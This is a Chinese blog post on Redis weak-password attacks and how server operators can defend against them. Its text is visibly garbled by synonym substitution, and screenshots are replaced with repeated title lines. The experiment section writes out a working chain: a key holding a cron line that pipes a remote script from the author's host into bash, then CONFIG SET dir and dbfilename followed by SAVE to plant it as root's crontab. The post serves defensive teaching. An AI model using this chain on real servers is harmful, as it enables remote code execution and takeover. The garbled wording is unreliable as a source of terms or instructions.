携手创作,共同成长!这是我参加「日新方案 8 月更文应战」的第18天,点击查看活动概况

本篇文章不会讲解具体的进犯指令,只讨论进犯策略和办法,更重要,愈加重要的是作为一名运维而言,要知道怎样防止被进犯,以此来保证服务器安稳安全的运转。

各位运维同仁大家好,咱们之前在 服务器被挖矿了后应当怎样做 中提及过,怎样防备服务器被挖矿,其间有几条办法,分别是 权限最小化、合理运用防火墙 以及 关闭不必要的插件服务 。

正所谓知己知彼百战不殆, 那咱们本篇文章来论述一下怎样运用Redis弱暗码进行进犯服务器,咱们知晓了其进犯办法和原理,咱们才能更好的防备此类进犯。

进犯者是怎样找到咱们服务的

要了解这个之前,咱们首先得稍微普及下网络端口的相关常识,tcp/ip传输层端口最大为65535,这个是怎样决议的呢? 这个其实取决于tcp/udp报文中端口所占的字节数目决议的,例如tcp报文和udp报文如下,由于在报文中都占了16位(2字节),所以答应的最大端口数为: 2的16次方为 65536 ,注意这儿还包含一个0,所以答应的最大端口数为 0 — 65535。

材料来源rfc793: www.rfc-editor.org/rfc/rfc793

怎样防备运用Redis弱暗码进行进犯

材料来源rfc768: www.rfc-editor.org/rfc/rfc768

怎样防备运用Redis弱暗码进行进犯

而65535个端口也被分配为了以下三类,大概如下

资源来源: rfc6335 www.rfc-editor.org/rfc/rfc6335…

端口范围 称号 作用
0 ~ 1023 熟知端口号 体系端口,一些根底服务运用的
1024 ~ 49151 注册端口号 用户端口,一些知名服务运用的
49152 ~ 65535 动态端口号 例如客户端在建立通信时暂时运用的

咱们看一下熟知端口号

端口号 描绘 协议
20/21 FTP运用 TCP
22 ssh运用 TCP
25 SMTP运用 TCP
53 DNS运用 UDP/TCP
80 HTTP运用 TCP
443 HTTPS运用 TCP

顺便来看一下常用的注册端口号

端口号 描绘 协议
3306 MySQL运用 TCP
6379 Redis运用 TCP
10050 zabbix-agent运用 TCP

如上,咱们就知晓了常用的端口号,例如我就想找对外开放了的redis服务,进行进犯,那么最简略的办法是扫描整个网段的6379端口,收集到相关的信息后,就知晓哪些是ip的服务是可以测验拜访的。

这儿介绍一个端口扫描东西: nmap,具体怎样扫描的,由于篇幅原因,就不打开叙述了。

进犯者是怎样进入大门的

上述经过nmap东西,咱们假定现已找见redis的大门了,那么咱们怎样进门呢? 欠好的当地在于redis是没有用户名概念的,仅有一个暗码(这对进犯者极为友爱), 咱们假定该数据库设置了暗码,这个时分,进犯者普遍会拿出一大把钥匙(暗码字典),然后逐渐穷举测验进入大门,若是很不幸,暗码恰好在字典中,那数据库大门就被打开了。

这儿仍是介绍一个暗码破解东西: hydra,具体是怎样操作的,这儿仍是由于篇幅原因,就不打开讲了。

这儿主要提及一点,能否破解成功,是要依托暗码字典,可是暗码字典越长,所破解的时刻就越长。

这儿,咱们假定运用的弱暗码,被东西破解掉,以此来推进咱们文章接下来的剧情。

关于Redis和Linux根底常识

这儿为何要介绍这段呢? 这是由于任何进犯方法,都是运用其软件的特性,这儿将介绍下RedisLinux被进犯的时分,需求的根底常识,若是对此感兴趣,可以转战LinuxRedis专区学习更多常识。

Redis

咱们将介绍Redis怎样写入string类型的key,以及落地概念和指令等。

Redis作为一个内存数据库,咱们想在数据库中插入一个string类型的数据,可以运用set指令,例如:

127.0.0.1:6379> set hello world
OK
127.0.0.1:6379> get hello
"world"
127.0.0.1:6379> 

如上指令,咱们运用set来写一个称号为hellostring类型数据,其值为world,然后经过get指令获取hello的值。

如上就现已将数据写入内存了,可是Redis数据库为了防止由于机器原因(例如断电)等,内存中的数据丢掉,所以Redis有一个功用,称之为数据落地。

咱们运用save指令,就可以使其履行落地操作。

127.0.0.1:6379> save
OK
127.0.0.1:6379>

具体落地到哪个目录呢? 文件名是什么呢,别急,咱们也可以经过查询得知。

127.0.0.1:6379> config get dir
1) "dir"
2) "/var/lib/redis"
127.0.0.1:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"
127.0.0.1:6379> 

经过如上的指令,咱们来简略论述下,redis中的变量dir保存的是数据落地的目录,同理dbfilename保存的时分落地的文件称号。

咱们收拾为表格,如下:

指令 含义
dir 数据落地的目录称号
filename 数据落地的文件称号
save 立即履行数据落地操作
set 向数据库写入数据

Linux

咱们将介绍Linux的守时使命cron 和 秘钥登录 以及 怎样从网络加载脚本文件在服务器履行,咱们分别来看。

履行网络上的脚本文件

Linux中,咱们可以经过 curl合作bash的方法,来使远程脚本履行,我么来测验下。

咱们编写如下脚本,脚本称号为: test.sh

#!/bin/bash
echo "hello juejin pdudo !"

便是很简略,输出一句话hello juejin pdudo !

咱们将其放置在web服务器下,我现已建立好了,而且现已做了内部dns映射。

咱们运用curl查询下。

怎样防备运用Redis弱暗码进行进犯

上述显现,咱们现已将脚本放到web服务器下,且可以拜访了。

咱们怎样履行远程脚本呢? 咱们可以运用管道的方法来履行,例如如上脚本,咱们可以运用如下指令履行

curl -s pdudo.:81/test.sh | bash

履行效果如下: 怎样防备运用Redis弱暗码进行进犯

守时使命

Linux守时使命其实是有一个守护进程的,想要履行守时使命,需求先将其开起来。

centos 7下,可以运用systemctl status crond看其状态。

咱们怎样查看和编辑守时使命呢? 咱们可以运用crond的编辑东西: crontab

其参数有2个比较重要的。

-e: 编辑当时用户下的守时使命

-l: 查看当时用户下的守时使命

例如咱们创立一个使命

* * * * * echo "pdudo juejin" >> /data/hello.txt

其间时刻为: * * * * *,指令为: echo "pdudo juejin" >> /data/hello.txt

其时刻为每分钟都履行该使命。

咱们在新建使命后,可以在/data/hello.txt文件中查看是否有数据发生了。

咱们界说后的使命,实际保存在哪里了呢?

咱们界说使命后,会被保存到/var/spool/cron/目录中,以用户名命名,例如咱们刚刚创立的使命,咱们可以运用如下指令获取:

怎样防备运用Redis弱暗码进行进犯

秘钥登录

linux中,登录ssh除了运用暗码之外,还可以运用所谓的秘钥登录,咱们来简略演示下。

咱们运用ssh-keygen来生成秘钥

怎样防备运用Redis弱暗码进行进犯

如上指令履行成功后,咱们会得到2个文件,id_rsa咱们称之为私钥,id_rsa.pub咱们称之为公钥,咱们仅需求将公钥发送到想要登录的机器上,咱们即可运用无暗码登录。

咱们来测验下,咱们将id_rsa.pub的内容复制到pdudo.下的/root/.ssh/authorized_keys中。

这儿是想登录到哪个用户,就放到哪个用户的家目录下的 .ssh/authorized_keys 即可。

然后测验登录机器。

怎样防备运用Redis弱暗码进行进犯

怎样运用Redis进行进犯呢

正如上所述,咱们可以运用其特性,比如redis落地功用,而linux从文件抓取守时使命等,咱们只需求将redis的功用运用好,让其可以满足linux使命的调用,即可实现进犯。

实验

咱们经过上述根底常识铺垫,进犯者在进入redis数据库后,会将指令写入key中,例如:

咱们写入守时使命,从远程履行脚本

127.0.0.1:6379> set xx "n* * * * * curl -s pdudo.:81/test.sh | bash >> /data/hello1.txt n"
OK
127.0.0.1:6379> 

然后,咱们仅需将dir修正到crond目录下即可。

127.0.0.1:6379> CONFIG SET dir /var/spool/cron/
OK
127.0.0.1:6379> 

且将落地文件名修正为root

127.0.0.1:6379> CONFIG set dbfilename root
OK
127.0.0.1:6379> 

将数据落地到文件中

127.0.0.1:6379> SAVE
OK
127.0.0.1:6379> 

此时若咱们退出redis后再来查看文件,咱们就会发现,其实守时使命现已写进去了。

怎样防备运用Redis弱暗码进行进犯

咱们看守时使命是否成功,可以看文件是否发生就可以了

注册私钥也是同理,这儿就不打开介绍了。

怎样防止被进犯

权限最小化

启动redis的时分,不要运用root权限,可以创立一个redis用户用于启动该服务。

合理运用防火墙

尽量,数据库服务器,就不要对外开放,以免导致被进犯。

设置杂乱的暗码

尽量设置较为杂乱的暗码,例如可以凭借各大网站的暗码生成器。

更改服务器端口

如果你觉得上述设置还不够安全,你可以修正其对外端口。

总结

所谓的redis进犯,其实是运用了其特性,可是上述是基于可以进入数据库的前提下的,而防止被进犯的主张仍是老三套,权限最小化、合理运用防火墙、设置杂乱的暗码、以及修正对外端口。

这个修正对外端口,我要解释一下,是可以迷惑扫描东西的,咱们可以测验下:

咱们将redis的端口由原先的6379修正为3306,咱们运用nmap扫描下。

咱们查看一下启动端口,指令: netstat -tulnp | head -n 2 ; netstat -tulnp | grep 3306

怎样防备运用Redis弱暗码进行进犯

咱们运用nmap扫描一下本地的3306端口

怎样防备运用Redis弱暗码进行进犯

咱们发现,扫描出来不是redis服务,而是mysql服务。所以修正端口具有迷惑性,可是效果不大,由于探一探包就清楚是什么服务了。

这儿简略提及一下,咱们已然知道了世界上还有一个机构叫做iana,那咱们怎样查询iana注册的端口号呢,这儿给出一个办法:

拜访iana注册表: www.iana.org/assignments…

往下翻,有一个查找的当地,例如咱们查找 6379,咱们看下是否是 redis注册的哈。

怎样防备运用Redis弱暗码进行进犯

总结一句 知己知彼百战不殆,作为运维,要向防备被进犯,首先要了解是怎样进犯的,才能有效的防备。

怎样样,有意思吧。